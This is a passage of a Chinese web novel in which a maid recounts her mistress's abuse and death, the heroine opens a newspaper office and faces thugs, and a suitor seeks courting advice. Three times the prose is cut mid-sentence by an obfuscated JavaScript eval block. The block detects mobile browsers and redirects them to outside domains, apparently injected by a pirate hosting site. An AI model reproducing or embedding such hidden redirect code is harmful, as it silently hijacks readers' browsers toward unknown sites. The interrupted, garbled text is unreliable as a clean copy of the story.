“我就是那个时候被老爷派去服侍江姨娘的。江姨娘性情温柔,天真单纯又平易近人,因为我年纪小,她甚至常常反过来照顾我,总是怕我累着。平日里老爷将她看得紧,她出不了门,就喜欢向我们打听近期外面发生了什么新鲜有趣的事,和我们这些下人聊天解闷,时常笑得直不起腰。” 孟允抒瞥了眼那个安静立于墙角的柜子。那里面放着各种稀奇古怪的小玩意,从中可以窥见主人的性格。 它们曾经属于这样一个鲜活爱笑的姑娘。 “除此之外,江姨娘最喜欢做的事就是读书。她说,‘读万卷书,行万里路’,她这辈子是做不到后半句了,但她至少有书籍作伴,能从中看到广阔无垠的天地。她总是这样乐观。” 两行眼泪从排云眼中倏然落下,她停顿了许久,才平复好心情继续说下去。 “我原本是个乡下来的野丫头,大字不识几个,但看见江姨娘总是捧着书看,我非常好奇,就问她书上讲了些什么。她说,面对同一篇文章,不同的人有不同的感受,我若只是听她解读,就会失了不少兴味。” “然后她笑着问我,想不想认字。”排云又开始啜泣,“认字以后我就能读书,所以我告诉她,我想识字。” “从那天起,江姨娘每天晚上睡前都会教我识字念书。我记得很清楚,当我第一次完整地念完一篇文章时,江姨娘看起来比我还高兴。” “我也期盼这样的日子能持续下去,但事与愿违。”排云擦了擦眼泪,“陈老爷得了新人,便整日扑在江姨娘房中,招致王夫人的嫉恨。王夫人是陈老爷的发妻,在他还没发迹的时候陪他一起白手起家,没料到他的变心来得如此之快。” “王夫人心机深重,明里暗里地欺负江姨娘,给她使绊子。江姨娘自己也知晓这些,她曾多次向王夫人袒露心迹,说明她只想过安生日子,希望能与王夫人成为一对好姐妹,两人和平共处。” 排云叹了口气:“江姨娘心性善良纯粹,自然将他人想得同她一般美好。王夫人明面上对她的话颇为赞赏,可对付她的手段却日渐阴毒。在她的精心设计之下,陈老爷对江姨娘心生厌弃,到她房中的次数越来越少。” “江姨娘说这样也好,她对陈老爷本来就没多少感情,他走了她反倒落得清净。我也以为从此之后她的日子能好过些。”排云的语气再度变得激昂,“可王夫人不肯善罢甘休。她趁着自己得势,铁了心地要将江姨娘置于死地,以绝后患。” “老爷出门在外时,她就敞开了欺凌虐待江姨娘,让她喝下滚烫的开水,暑天的正午让她跪在院中诵经,诸如此类数不胜数。起初江姨娘还会将此事告知陈老爷,可换来的是老爷的敷衍和厌烦,以及王夫人变本加厉的折磨。长此以往,她便不再向他人求救了。” 说到最后这句话时,排云的眼神十分黯淡。 “数九寒天,王夫人命江姨娘在院中用刺骨的冷水为她洗衣,没多久江姨娘的手上便生出冻疮,到处都是皲裂的伤口,她也染上了风寒。起初她的病情并不严重,只需按时用药就能痊愈,可王夫人却假意关切,说她知道一个偏方,能让江姨娘的病好得更快些。” “几副草药下去,我发现江姨娘的病非但没有好转,反而愈发严重,就找了个时间偷偷前往药铺询问郎中。郎中告诉我,那药方里尽是些寒性的猛药,他们摆明了就是想要江姨娘的性命。” 孟允抒静静地在一旁听着,未发一言。她已经能猜到故事的结局。 “回府之后我将此事告诉江姨娘,她却并不在意。她说,即使她苟活于世,也只是日复一日地忍受非人的生活,还不如让她快些解脱。” “就是在这种情况下,她连笔都拿不稳了,她还坚持教我读书写字。”排云咽下喉头的酸涩,“江姨娘说她时日无多,可教给我的东西能让我走得更远,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324014|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更清楚,活得更明白。” 孟允抒理解江姨娘的想法。这就是思想启蒙的作用,它让一个人不再愚昧无知。 “江姨娘去世后,我去报官,但王夫人早就买通了县衙的人,根本没人审理此案。王夫人了结一桩心事,命府中下人变卖江姨娘房中的遗物,我再三阻拦却无济于事,只看着王夫人将换来的钱财分给那些曾经害过她的下人们。” 排云咬牙切齿地说:“这群人没一个好东西,全是贪财近利之徒,为了在王夫人面前邀功请赏,他们互相陷害,闹得府里乌烟瘴气,那些下人就是在此事中丧生的。在这之后不久,陈老爷也病发身亡,那些人本来就心里有鬼,一时间府中上下议论纷纷,都说这是江姨娘的冤魂前来索命了。” “我一直咽不下这口恶气,想为江姨娘报仇,他们这话点醒了我。” 排云详细描述了她的作案准备和手段,其与孟允抒的推断别无二致:“罗裙上的血是鸡血,我偶尔会在伙房帮工,弄来这些不是难事。” “后来,府中仆人被吓得魂飞魄散,疯掉的人越多,闹鬼的传言就越发真实,再也没人敢进江姨娘的房间。最后王夫人也受不住这般惊吓,终于失了神智。” 排云长舒一口气:“王夫人固然该死,可真要论起来,此事的罪魁祸首是陈老爷。既然他已经丧命,我也不再追究王夫人的罪过。” “王夫人被接回娘家之后,府中的下人被尽数遣散。后来我听说这宅子被卖了出去。”她沉默片刻,直视着孟允抒的双眼,“此处是江姨娘的房间,留有她的痕迹,是她存在过的唯一证明。我不愿看到她就这样悄无声息地走了,什么都没能留下。” “所以,我扮作脚夫、杂役,趁白天混进雇工当中进入内宅,提前埋伏在树上,翌日再随雇工出去。这是我唯一能为她做的事了。” 待孟允抒回过神想要发问时,她已是泪流满面。 这些年的记者生涯已经让她养成了冷静客观的职业习惯,在采访时鲜少掺杂私人情感,以免让报道有失公允。 可是在今天这件事上她做不到置身事外。 若是江氏还活着,她一定非常愿意加入她的报社,也一定能在新闻事业上大放异彩。 若她并未生在这个时代,而是更遥远的未来,她也能够拥有如她本人一般的美好灿烂的人生。 但这两个假设都不属于她。 屋内的几人一齐陷入长久的静默,半晌无一人开口,似是向江姨娘致以最深切的哀悼。 孟允抒终于找回理智,平复心情问:“你今日所述之事,可有凭据佐证?” 排云对答如流:“郎中那里有看诊记录,我也存着王夫人的那副偏方。这些事府中下人都知道,只是一直被王夫人压着,不许外泄。” 孟允抒有了调查方向,转而问排云:“你不可能一直这样守着江姨娘的卧房和遗物。今后你有什么打算?” “我不知道。”她抬起朦胧的泪眼看向孟允抒,“我一心想着为江姨娘报仇,没想过其余的事。” “她叫什么名字?” 面对这个冷不丁的问题,排云很快反应过来。她的语气铿锵有力。 “她叫江芷兰。” 孟允抒点头。 她有名字。不是作为江家女儿的江氏,不是作为陈老爷侍妾的江姨娘,而是一个独立的人——江芷兰。 孟允抒问排云:“芷兰走了,但她教给你的东西还在,是吗?” “嗯。” “那就让她用另一种方式活下去。”孟允抒笑中含泪,“待此事真相水落石出后,我再与你详谈。” 15. 启业 自孟允抒让陈府闹鬼的内情见报后,消息很快传遍大街小巷,民众对陈老爷、王夫人等人发起猛烈的谴责和唾骂,这两家人犹如过街老鼠,再也不敢光明正大地出门。 同时,大家也对县衙收受贿赂的行为发起声讨。许昭借机将此事禀告皇上,与御史台一同清点旧案卷宗,探查其中是否还有冤假错案,待调查结果水落石出后,对涉案官员一并问罪。 为保护排云的人身安全,孟允抒在报道中用了化名,众人对排云的义举拍手称快,又赞扬江芷兰的高洁善良,此事被改编成戏剧话本,一时间风靡京城。 除此之外,陈府也摆脱了凶宅之称,有好事人专程跑来宅子里一探究竟,得知此处将要新开一家“黎民报社”,又将消息流传出去,奔走相告,让孟允抒收获了一波免费的流量。 一箭三雕。 在此种情况下,报社的一切准备工作都进展得相当顺利。在孟允抒规划的截止日期之前,他们已让宅邸的各处焕然一新,也完成了初步的人员招聘工作,待日后发展壮大再扩充成员数量。 今日是报社试运营的第一天,孟允抒和秋盈起了个大早,前往报社作最终检查,接着召开职工大会,强调报社规章制度和工作注意事项。 孟允抒和秋盈行至报社的临街门面前,见大门已经开了半扇。 门内一人从暗处现出身形,将几扇大门全部打开,对两人笑道:“孟社长,秋掌柜,你们来得好早。” 排云手里握着扫帚,笑意盈盈地看向她们。 在报社工作的首要前提就是识字,单这一条标准就能筛掉不少人。排云聪明伶俐,知恩图报,孟允抒对她十分欣赏,就叫她与那些应聘者一同参与笔试与面试,最后她被录取为报社经营部门的人员,负责小报发行与售卖的工作。 孟允抒别过排云向内院走,几个往来的雇工见到她们,都会道上一声“孟社长”“秋掌柜”。 孟允抒对此很是受用,秋盈则显得有些局促:“夫人,我——” “秋掌柜,工作的时候要称职务。” 孟允抒的调侃让秋盈更是窘迫:“我是府里的下人,如何能当报社的掌柜,你莫要再取笑我。” “我并非在戏弄你。”孟允抒正色道,“你自幼便陪在我身边照顾我,我房中的一切都交由你打理,无论是人员也好,钱财也罢,你都管理得当,不曾有失。报社事务繁杂,平日我又经常在外采闻,店铺需要有人打理,这些事务只有交给你我才放心,还望姐姐不要再推脱。” 人力资源与财务管理是每个公司不容忽视的一环,更是报社运营的基础与命脉。孟允抒思虑再三,决心把这两项关键事务交给她的心腹,由秋盈再将其细化,选拔人才进行管理。 秋盈见孟允抒神情严肃,明白这是她的肺腑之言:“我知道了。我定会尽我所能,为夫——” 她及时更正口误,对孟允抒莞尔一笑:“为社长分忧。” 行至中庭,孟允抒特意进东厢房巡视了一圈。 江芷兰的卧房被她命名为“采闻堂”,作为采编部门的会议室,厅堂正中悬有京城地图,旁边则挂着张幅面较大的宣纸,上面标注着近日舆情热点及调查线索。这些情报当中,部分是孟允抒用声望点换来的,部分是她在街头巷尾打听得知,也有其余探官通过自己的人脉、其余消息渠道得来的。 孟允抒低头抚摸着那张杉木长案。若是江芷兰泉下有知,也一定对今日情景喜闻乐见。 秋盈见她神情落寞,转移话题劝她离开:“时间紧张,我们快去后院看看吧,再过一会大家都该来齐了。” 这句话点醒了孟允抒,待会她还得给职工开会,于是同秋盈移步后院。 报社后院的工坊所占面积最大,主要被分为誊写房、刻版处、印坊、杂物仓库四个区域。 “我以前在两家书坊当过拣字工,还是头一次见让人坐着排字的,真稀奇。” 孟允抒迎着七嘴八舌的讨论走进印坊,里面的工人见状纷纷起身向她问好。 “诸位不必拘礼,都请坐。”她向大家打了招呼,指着屋内的几列字架说道,“此种排字方法出于我个人的灵光一现,先试用一段时间,若各位觉得不适应,或是有更好的主意,随后可找我商量,我们共同对其进行改良。” 利用活字印刷之前得先进行活字排版,印工拿到文稿后,将需要的字模从字库拣出,按文章内容组合成版,接下来才可刷墨印制。 在这一过程中,一切劳动都全凭人力。孟允抒先前在文昌书坊体验过,这样不间断地来回行走、站立,一天下来双腿胀痛不已,长此以往定会对身体造成巨大损伤。 因此在创办报社之前,她就一直在思索,如何解决印工劳动强度大、排字速度慢的问题。 孟允抒作出的尝试是改造字架,每个字架上只存放一千个常用字,这些汉字已经能够覆盖绝大多数的书面资料,使用频率较低的字模则按韵部分类存放在公用活字库中,以备不时之需。这样一来,每个字架的体积大大减小,高度降低,印工可以坐着排版,同时也能提高拣字速度。 将报社各处都巡视完毕后,孟允抒收集了不少员工的疑问和意见,通知所有人到后院中集合开会。 “请诸位安静。”孟允抒站在最前方的台阶上,压下众人的窃窃私语,“我知道各位对报社尚有诸多疑问,接下来我所说的话是重中之重,还请各位谨记。” “小报自先皇以来便已在民间出现,流传甚广,比邸报更受百姓欢迎,受到民众追捧。只是民间小报良莠不齐,常有杜撰新闻者混淆视听,且尚未形成专营小报的店铺。为此我成立报社,诚邀诸位前来共襄盛举,从中受益。” “既然是首创之举,我们定然少有经验可循,但并不代表可以为所欲为,诸位还应循规做事。”她看了一眼萧谨言和秋盈,“我与萧主编和秋掌柜商讨之后,已经拟出一份报社基本例令,稍后会张贴在誊写房中,请各位仔细阅读。部分重点内容我在此额外强调一下。” 她望了望秋盈,收回目光说道:“平日诸位在报社中,彼此之间需以职务或字号相称。” 此言一出,满庭哗然。 报社成员的出身不一,探官和编辑多数是来自小门小户的书生、小姐,工人和伙计则大多为平头百姓,还有排云这样曾做过他人府中仆从的人,每个人都习惯了尊卑有序的交往方式,一时间难以做出改变。 对此孟允抒解释道:“不论各位家境如何,有何过往,在此处一律是报社的成员,自然没有高低贵贱之分。” 她又打趣般地说道:“再者,若是不规定称呼,你叫我一句‘孟夫人’,他叫主编一句‘萧公子’,谁听得出我是哪家的夫人,他是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337552|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的公子,岂不是全都乱了套?” 人群发出一阵轻微的哄笑。 孟允抒见众人气氛有所缓和,便言归正传,让话题进入下一部分:“当前报社主要由采编部、刻印部、发行部组成,我大致描述一下各部的职责,方便各位互相配合,增进对彼此的了解。” “厘清各部职责就要先从发报流程说起。”孟允抒介绍道,“一份报纸的诞生要经过多个环节。” “首先是选题。今后每日卯时正刻将召开晨间选题会,众位探官编辑在例会上交流舆情热点,讨论报道选题。” “其次是采写新闻。各探官围绕选题事先进行策划准备,依据线索前去走访调查报道对象,根据采访结果撰写报道。” “探官出稿后将文章交给编辑,由他们进行编修、校对、排版以及审阅工作。” “最后就是小报的印制与发行。写样先生从编辑处接收终稿进行誊写,再交予印工对照印制小报,而后拿给发行部令其售卖。各位刻工负责维护字模,及时补铸损耗活字,若文稿中有必须使用的生僻字,则需要紧急加刻字模。” 孟允抒简述了报社日常的工作流程和各部职责,先让全体员工在实际工作中熟悉一段时间,若有疑问再与她沟通。 “在此特别强调一点,为提高印制效率,也方便民众自由选择,同期小报的不同文章将分别印制收纳,不必将其组合在一起。印成后由买方自行选择购买方案。”孟允抒讲完最后一部分内容,“我要讲的就是这些。请采编部的诸位前去采闻堂集合,我还有些事情强调,其余人员可以先回到各自岗位上熟悉工作了。” 人群三三两两地散开,萧谨言与孟允抒一同前往中庭,略显惊讶地说道:“没看出来你还有这般本事,将报社事务说得条理清晰,头头是道,就像以前做过这种事似的。” 孟允抒在心底恭喜萧谨言答对了。 胤朝没有报社,自然也没有一系列与报社事务相关的专有名词,省事起见,她直接把现代报社工作中的许多专有名词拿来使用,自然信手拈来。 孟允抒感慨,想当初她最讨厌开会和领导讲话,现在却不得不在接二连三的会议中奔波。 人果然会活成自己最讨厌的样子。 她进入堂中,让众人纷纷落座,在座首说道:“在今日的选题会开始之前,我需要再次告诫诸位,采编部是报社的核心,必须明确理念,端正态度。” 她想起现代新闻学的种种乱象,希望能从源头避免这些。 “在采写新闻的过程中,无论何时都要做到不偏不倚,公正无私,不得预设立场,主观臆断,或凭个人喜好偏私一方。初步获取证据后,不要急于下定论,应当多方探查,互验真伪。最后,撰写报道时应实事求是,不得弄虚作假,不得夸大或隐瞒真相。” “为方便事后问责,每篇报道末尾都必须题写探官与编辑代号,诸位稍后可以想想自己的代号,赶午时之前交给我。” 孟允抒的目光掠过长案两边的男女,每个人脸上都带着一副期待又略显担忧的神情。 这是一次崭新的尝试,是他们从未走过的路。 可是,如果没有人敢于去前方探路,为旁人指引方向,所有人就都只能被困于方寸之地。 “我的代号是‘芷兰’。”孟允抒笑道,“第一次选题会正式开始。” 16. 闹事 开业的前几日是最忙的,由于此前没有任何经验可循,报社中的大小事务都需要孟允抒亲自处理。这种状况持续了一周多,报社中的每个人终于走上正轨,各部也开始有序运营起来。 孟允抒和各部主管的办公室位于中庭,是由那个最小的房间改造而来,西厢房则作为编修堂,供报社各位编辑使用。 “新闻报道不同于平日行文,不能这样写。”孟允抒对萧谨言说着,在他拿来的文稿上圈圈改改,“这种字词主观色彩过强,容易煽动读者情绪倒向其中一方,有失公允。” “社长!” 排云欢快地从门外蹦进来,见到萧谨言向他问了声好:“萧主编也在。” 她又面向孟允抒笑道:“昨日你交给我们的事已经办妥了。” 萧谨言见状向孟允抒告退:“我记下了,待会我将这些要点告知各位编辑。你们聊。” 他出去带上了门,孟允抒让排云在她对面坐下:“你说说,情况如何?” 考虑到小报的受众广泛,新闻又具有传播性,孟允抒觉得他们若是只在固定门面售卖小报,恐怕销量有限,于是找来发行部的几个员工下了任务,让他们再去外面联络打听一番,看看还有没有其他推广小报的法子。 “我们在外打探一番后,回来互相交流商讨,发现这些人或许可为我们所用。” 排云开始汇报他们的工作成果:“京中商业发达,城中商铺数量众多,其中不乏做些小本生意的零散摊贩,他们多位于人群密集的街巷,过路人即便不从他们的摊位上购买东西,也能一眼望见他们所售之物。” 孟允抒明白排云的意思。即使他们通过此种渠道卖不出多少报纸,也能趁机打个广告。 “还有走街串巷的卖货郎。我们经打问得知,他们都有各自的行进路线,凑在一起几乎可以覆盖整个京城。”排云将身体前倾,凑近孟允抒说道,“以上这些人中,有一部分明说愿意从我们这里低价买报,尝试售卖一阵看看盈利情况,还有些人仍在犹豫。” 报纸批发分销是个好策略,且摊贩和卖货郎的流动性极高,不用为消息传播的问题发愁。如果能与他们达成长期稳定的合作关系,或许还能培育出专营小报生意的零售点和卖报人。 “这主意不错。我们可以先与这些想要试水的商贩达成合作,起初报价低些,若他们能从中获利,自然愿意与我们长期交易,到那时再涨价也不迟。” 孟允抒向排云交代了一些谈合作的注意事项,又想起新闻时效性的问题。 “至于小报的运输……” 他们所办小报名为《黎民日报》,顾名思义是日出一份,若要尽快送往城中各个分销点,则需要数匹快马分送各处。 不但需要马,还需要精于骑术之人。 一个答案赫然出现在孟允抒脑中。 “稍后我写一封书信,劳烦你将它送到民信局的掌柜那里。你带些银两,率先拿出我们的诚意。等他们尝到甜头,我们再试着与其谈条件。” 民信局是胤朝的民营快递机构,可帮平民传递信件与物品,只是因其在行业中居于垄断地位,要价颇高。 若报社能与分销商贩达成合作,他们每日都需要寄送小报,业务需求量大,若日日如此,他们赚取的利润肯定所剩无几。 排云心领神会地点头,接着提出一个问题:“若是他们不愿压价呢?” 这次孟允抒没有作出回答,却反问她:“如果让你来处理此事,你会怎么做?” 报社事务繁杂,她不能事事亲为,得适当放手让他们自己处理问题。 排云思索一番,脸上渐渐浮现出一个不怀好意的笑容,她极力地压下嘴角,却还是没能把它抻平。 一看就知道她憋着坏。 孟允抒需要秋盈这样稳重的帮手,也需要有主见的聪明人。 “想到什么就说,我不会怪罪你。” “若掌柜不同意薄利多销,那我们只能绕开他行事。”排云笑道,“既然我们每日都有寄送需求,不多时就能与那些驿夫混个脸熟。他们当中不乏爱马之人,即便收入微薄,也会在家中养上一匹马。” “民信局掌柜收的银两到不了他们的口袋,层层分剥下去,到他们手里也没几个钱。既然如此,他们为何不直接与我们联络,接些私活?” 孟允抒听明白了,排云这是想挖墙角。 这手段很卑鄙,但是省时省力。 “既然你心中已有主意,那就放手去做。”孟允抒同意了她的方案,又叮咛她道,“但你要小心行事,莫要让那掌柜发现,招致祸端。” 门外忽然传来一阵急促的脚步声,一个伙计猛地撞开大门闯进来,上气不接下气地对孟允抒喊道:“社长,你快去前面看看,有人闹事,砸我们的铺子!” 孟允抒的心猛然被攥紧,迅速冲出屋子跑向临街的店铺。 报社被砸都是小事,秋盈还在前方的铺中,她绝对不能出事。 “让一让!” 孟允抒拨开铺中的伙计赶到秋盈身边,见她用力按着左手,连忙拉过她的手查看情况:“让我看看。” 秋盈的手掌上有一道狭长的伤口,好在伤得不深,只是稍稍渗出些血迹。 孟允抒看得心疼,对身旁的小姑娘说道:“排云,你去取些纱布来给秋掌柜包扎。” “我没事,只是方才不小心被碎瓷片划了一下,并无大碍。”秋盈安慰着她,又瞥了一眼堵在门口的几个大汉。 孟允抒放下心来,这才将注意力放在那几个面露凶相的男子身上。 他们一共六人,个个身材魁梧壮硕,浑身酒气,其中两人手持棍棒,为首的人腰间挂着个酒囊,衣衫不整,看上去就是游手好闲之辈。 而在他们脚下,散落着一地的花瓶碎片和书籍纸张,原本置于柜台上的物件都一并倒在地上。 结合伙计向她报信时所说的话,不难推断出铺中方才发生了什么事。 孟允抒看他们未带利器,猜测他们不是亡命之徒,便开口问道:“还请诸位对此番状况作出解释。你们这是何意?” 为首的男子将孟允抒上下打量一番,用戏谑的口吻说道:“你就是他们所说的那位孟社长?” 孟允抒对他的语气颇为不快,却并未在面色上显露分毫。 “正是。” 他大笑起来,冲他的同行伙伴挤眉弄眼,嘲弄地说道:“前有这位秋掌柜,后有你这个孟社长,你们不在家中好好绣花,却跑到这来抛头露面,可是挂羊头卖狗肉,假借报社之名做皮肉生意?” “真是下流。” 在一旁的排云猛然上前,孟允抒连忙拦下她,摇摇头示意她先冷静,快从后门出去报官。 “出什么事了?” 萧谨言听见院中的骚乱,和几个编辑匆匆赶至店中,他扫了一眼地上七零八落的东西和秋盈手上的纱布,怒气冲冲地对那几个大汉吼道:“你们好大的胆子,孟社长可是——” “谨言。”孟允抒及时制止他的话,“不要说。” 见萧谨言面红耳赤,那几个大汉反而哄笑起来:“你这行当里居然还有男人!” 萧谨言听出了他们话里的羞辱意味,气得浑身发抖。 黎民报社中的男女员工占比五五开,这在当今的商业活动中极为少见。女子本就容易被这些不轨之人盯上,报社成员又多为文人墨客,看起来风雅俊秀,毫无威慑力,自然不被这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15352208|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地痞流氓放在眼里。 孟允抒决定先拖延时间与对方周旋一会,看向几人冷声道:“只要不曾违反大胤律令,我们开报社还轮不到旁人来说三道四。难道就是因为我们在此经营,你们便要打砸我们的店铺?” “当然不是,孟社长想做什么便做什么,只要你有本事,哪怕把报社开到御街上也未尝不可。” 他刻意加重了“孟社长”三字的音调,话语中满是讽刺。 “但你既然要做生意,就应当明白‘来者皆是客’的道理。”他看向秋盈,佯装痛心道,“我们进来没说上几句话,你们这位秋掌柜就出言不逊,还和我们厮打起来,造成这样一片狼藉。” “胡扯!”一名伙计怒吼着打断他的话,“分明是你们先对秋掌柜动手动脚,我们上前理论,你们却动起了手!” 孟允抒都不用想就知道,凭秋盈的为人和秉性,她绝不可能无缘无故地与他人发生冲突。 但这几人就是典型的泼皮无赖,和他们根本论不出什么对错。 孟允抒问道:“所以几位想如何了结此事?” “孟社长真是爽快。”为首的大汉指指身后一名男子的脑袋,“方才秋掌柜砸伤了我这位兄弟,不作出赔偿说不过去吧?” 孟允抒瞟了一眼那人完好无损的脑袋,他们摆明了就是在碰瓷讹钱。 她冷笑着说道:“客官真是会说笑,这位兄弟未见外伤,你单凭肉眼就能作出此番定论,莫非你的医术比那医祖扁鹊还要高明?” 为首的大汉扬起下巴,双手抱臂:“如此说来,孟社长是不愿意出这笔钱了。” 孟允抒回答:“凡事总得讲个证据,客官此言实在无法服众。” “那我也懒得再同你废话。”他一挥手招呼身后的几个男子,“给我砸。” 铺中场面顿时乱作一团,伙计们一拥而上,阻拦那几名壮汉破坏店中物品,推搡之间局势很快升级,演变成了激烈的互殴,过往行人纷纷驻足,七嘴八舌地议论起来。 “别打了!” 秋盈担心店铺受损,又害怕他们此举于报社名声不利,冲进人堆奋力推开为首的男子。 孟允抒曾学过几招简单的防身术,一边自卫一边在其中维持秩序,一扭头却看见一个持棍男子的棍棒就要落到秋盈身上。 “小心!” 她来不及细想就上前推开秋盈,右肩结结实实地挨了一棍,紧接着耳边响起一阵“衙役来了”的呼喊。 秋盈连忙过来扶着她询问伤势,排云带来的几名衙役简单问了几句情况,将那六人一齐带走,店中的混乱才算告一段落。 孟允抒稍稍活动了下肩膀,发觉疼痛只来自皮肤表层,并未伤及骨头。 她让店里的员工去收拾残局,继续进行手头的工作,高声说道:“我并无大碍,诸位都去忙吧。” 众人各自散去,秋盈则是满面懊悔和自责:“我不该意气用事,反倒连累了你。” “你做得没错,不必内疚。和那些流氓哪能讲得清道理?” 孟允抒宽慰她几句,又抬起她的左手,看看她手上的纱布笑道:“你也受了伤,我们这算是患难与共了。” 打趣一番后,孟允抒言归正传道:“做生意难免会遇到这种不讲理的无赖,今日之事也算是长了个教训。” 她沉思片刻,找出条应对之策:“之前我从书上学了几套防身的招式,回府后我先教给你,你和我一起传授给其余成员。除此之外,我们还得全力以赴运营报社,尽快打响名号,这样也就有了底气。” 报社的事多如牛毛,她向秋盈嘱咐一番,转身欲走时才想起有句话她忘了提醒秋盈。 “不要将今日之事告诉许公子。” 17. 关心 许昭将目光从书上挪开,看向门外的绿植让眼睛稍事休息,却发现天色已经暗了下来。 他估算了下时间,当前应是酉时将尽。 自报社开张以来,孟允抒忙得不可开交,归府的时间比先前在文昌书坊时还要迟上许多,晚饭也经常在外解决。 两人虽处于同一屋檐下,但孟允抒早出晚归,许昭已经连续五日不曾见过她。许府中本就没有多少下人,又少了孟允抒平时谈天说地的热闹劲儿,府中上下都弥漫着冷清的味道。 他正盯着院中之景发怔,一个小厮走进门行了个礼:“老爷。” 许昭回过神,重新拿起书:“再等等吧,兴许孟姑娘稍后就回来了。” “我不是叫您用膳。”小厮笑了笑,“萧家三公子来了,我让他在正厅等您呢。” 许昭前往正厅,与萧睿言寒暄一番后落座。 萧睿言已经赴任,许昭对他的称呼随之改变:“不知萧大人来访所为何事?” 因孟允抒创办报社之事,近日萧睿言与许昭往来频繁,两人也已经算是熟识,故而免了许多客套话。 萧睿言开门见山道:“听闻今日有人在报社闹事,孟夫人受了轻伤,我特来探望。请问她当下状况如何?” “什么?” 许昭没想到萧睿言一开口就是重磅消息,赶紧追问他:“你说孟——允抒受伤了?这是怎么回事?” 萧睿言对此也略显诧异:“我听二哥说的。许大人不知情?” 许昭摇头:“允抒尚未回府,我无从得知报社情况。还请萧大人为我细细讲来。” 萧睿言了然,向他讲述了这场风波的始末,而后又感慨道:“我未曾料到孟夫人竟如此醉心于经营报社,甚至达到了废寝忘食的地步。二哥一个时辰之前就已府,而她居然还在报社中忙碌。大人应当多提醒她保重身体。” 许昭听闻报社之事,又是担忧又是愤慨,一时间不知该说些什么。 见他沉思不语,萧睿言想起先前在萧府园林中和孟允抒的交谈。 “许大人,这是你的家事,本不该由外人多嘴,但孟夫人实乃女中豪杰,令人敬佩,请容我斗胆进言。” 许昭点头道:“大人不必拘礼,直言就是。” “孟夫人知书达理,纵然你与她过往曾有种种纠葛,她却并不记恨大人,也理解你的难处。” 许昭同意萧睿言的话,从孟允抒这段时间的行为中就可以得出这番结论。 在许多事上他都愧对孟允抒,可她先是替他写文章辟谣辩白,而后又坦言不介意他出身低微,还为了替他分忧,不辞辛苦地终日奔忙。 出身显赫却不自视甚高,才华横溢而又通情达理。得妻如此,夫复何求。 “那日我与孟夫人闲聊,她曾抱怨许大人不解风情。”萧睿言将两人的对话添油加醋一番后转述给许昭,“孟夫人说她虽倾心于你,却因你孤僻少语,令她难以接近,不知该如何叩开大人心扉。” 许昭深受震撼,不可置信地问萧睿言:“这话是允抒亲口所说?” 萧睿言笑了起来:“大人若是不信,可以亲自去问孟夫人。” 许昭当然问不出这些话,只能通过孟允抒的近期表现推断萧睿言所言属实。 他竟对她的一腔热情浑然不觉。 萧睿言提醒许昭:“夫妻之间的感情需双方合力经营,大人也应多多关心孟夫人,莫让她寒了心,或是与你生出嫌隙。” 许昭认为萧睿言说得在理,有些无措地请教他道:“许某不善言辞,还请萧大人为我指点一二。” 萧睿言凑近许昭,露出一个高深莫测的笑容。 “大人算是找对人了。在与人交往这方面,睿言可谓经验颇丰。” 许昭点头,认真聆听萧睿言的教诲。 “首先,大人应当改改你的性格,不要总是拒人于千里之外,而是主动关心她,与她沟通。大人若是不拉近你与孟夫人的距离,她又怎能感知到你对她的倾慕与关怀?” “其次,大人应该多陪孟夫人出去走走。她本来就喜爱热闹,若你们一同出游,也可使感情升温。” “还有,你是她的夫君,应当多多重视孟夫人的需求。大人可以试探她有没有什么喜欢的小玩意,买来做礼物送给她,定能讨她欢心。” “除此之外,你可以多观察其他人身为夫君的做法如何,比如适当示弱服软,说些好话夸赞孟夫人……” 许昭一条条地听下来,觉得这其中的门道甚是复杂,但还是耐心记忆着他的锦囊妙计,拿出了他背诵大胤律法的态度。 萧睿言与许昭聊了半晌,他喝了口茶润润嗓子,起身向许昭告辞:“今日天色已晚,我不好再叨扰大人,我们改日再叙。” 在许昭眼里,萧睿言现在俨然是一副恩师的伟岸形象,他将萧睿言恭敬地送出大门,转而叮咛门房:“待孟姑娘回府,你让她直接来我书房。” 直至月上柳梢时,许府门前的石板路上才响起清脆的马蹄声。 孟允抒下了车,还在和秋盈讨论报社之事:“这阵子就先辛苦你观察一阵,若报社中有可用之才,可以提拔他们帮助你管理社中账务,只是最终必须由你过目一遍。” 她们的说话声传进府内,门房及时跑来给两人开了门,告知孟允抒许昭在书房等她。 孟允抒先让秋盈回房,快步赶往许昭处。 通常情况下她和许昭互不打扰,近期她又忙于报社之事,一连几天没见过许昭,都差点忘了府中还有他这号人存在。 这会许昭找她,或许是有什么要紧事。 孟允抒行至书房门前,见里面依然灯火通明,直接抬脚迈了进去。 